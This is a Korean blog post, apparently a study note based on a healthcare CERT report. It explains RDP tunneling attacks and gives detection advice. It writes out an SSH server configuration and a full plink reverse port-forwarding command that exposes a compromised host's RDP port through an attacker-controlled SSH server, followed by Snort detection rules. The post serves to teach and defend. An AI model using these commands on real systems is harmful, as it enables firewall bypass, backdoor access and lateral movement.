starting point

RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling) 본문

네트워크/패킷 분석

RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling)

dundole 2023. 11. 22. 21:17

정의

  • 피해 서버의 포트포워딩 설정을 통해 공격자가 차단된 RDP 포트를 우회하여 원격접속하는 공격

 

포트 포워딩

  • 특정 로컬 포트로 들어오는 트래픽을 원격 포트로 전달(서버에 80으로 들어오면 다른 서버의 443으로 전달)

 

리버스 포트 포워딩

  • 특정 원격 포트로 들어오는 트래픽을 로컬 포트로 전달

 

RDP(Remote Desktop Protocol)

  • 원격 시스템과 클라이언트 간의 원격 제어 및 화면 공유를 위한 프로토콜

 

 

패킷 예시

Cookie: mstshash=Domain

 

공격 목적

  • 초기 타겟 시스템에 접속 성공 후 백도어 생성. 수평 이동(타깃 시스템에 연결된 다른 시스템으로 연결)
    • RDP 터널링을 수행하기 위해서는 초기 침투가 성공한 상태여야 한다.

 

 

통신 방식

공격자 PC -> 공격자의 SSH 서버 -> 피해시스템

[그림 1]통신 방식

 

공격자의 SSH 서버(192.168.0.10)

  • etc/ssh/sshd_config 파일에서 GatewayPort=clientspecified 입력

클라이언트(피해시스템)에서 -R 옵션과 함께 주소를 지정하여 리버스 포트 포워딩을 요청할 수 있다.

 

 

피해 시스템

  • RDP 연결 허용 설정(abc 사용자 추가)
  • plink.exe test@192.168.0.10 -pw test -p 22 –2 –4 –T –N –C –R 0.0.0.0:12345:127.0.0.1:3389 를 실행
    • -> plink는 임의포트를 이용해 다른 시스템에 접속할 수 있는 도구이다.
    • -> 위 설정을 통해 공격자의 SSH 서버에 22번 포트로 연결. SSH서버에 tcp/12345로 들어오는 트래픽을 피해 시스템의 tcp/3389로 전달하도록 설정(리버스 포트포워딩)

 

공격자 PC

  • RDP 프로그램을 통해 공격자의 SSH 서버로 접속

192.168.0.10:12345 

사용자 이름: abc

 

탐지방안

  • 방화벽 아웃바운드 통신 제어
    • 외부에 서비스하지 않는 서버라면 사용하는 포트만 아웃바운드를 허용하는 것이 안전하다. tcp/22 SSH를 통해 서버에 접속하고 있다면 해당 서버에 실제로 접속하는 IP만 아웃바운드 허용하여 사용해야 한다.
  • 아래와 같이 스노트 룰 생성
    • alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA KE [Tunneled msts]"; dsize:<65; content:"|03 00 00|"; depth:3; content:"|e0|"; dist ance:2; within:1; content:"Cookie: mstshash="; distance:5; within:17; sid:1; rev:1;)
    • alert tcp any [21,22,23,25,53,80,443,8080] -> any !3389 (msg:"RDP - HANDSHA KE [Tunneled]"; flow:established; content:"|c0 00|Duca"; depth:250; content:"rdpd r"; content:"cliprdr"; sid:2; rev:1;)

 

출처: 원격데스크톱(RDP)터널링 공격 분석 및 대응방법(진료정보침해대응센터)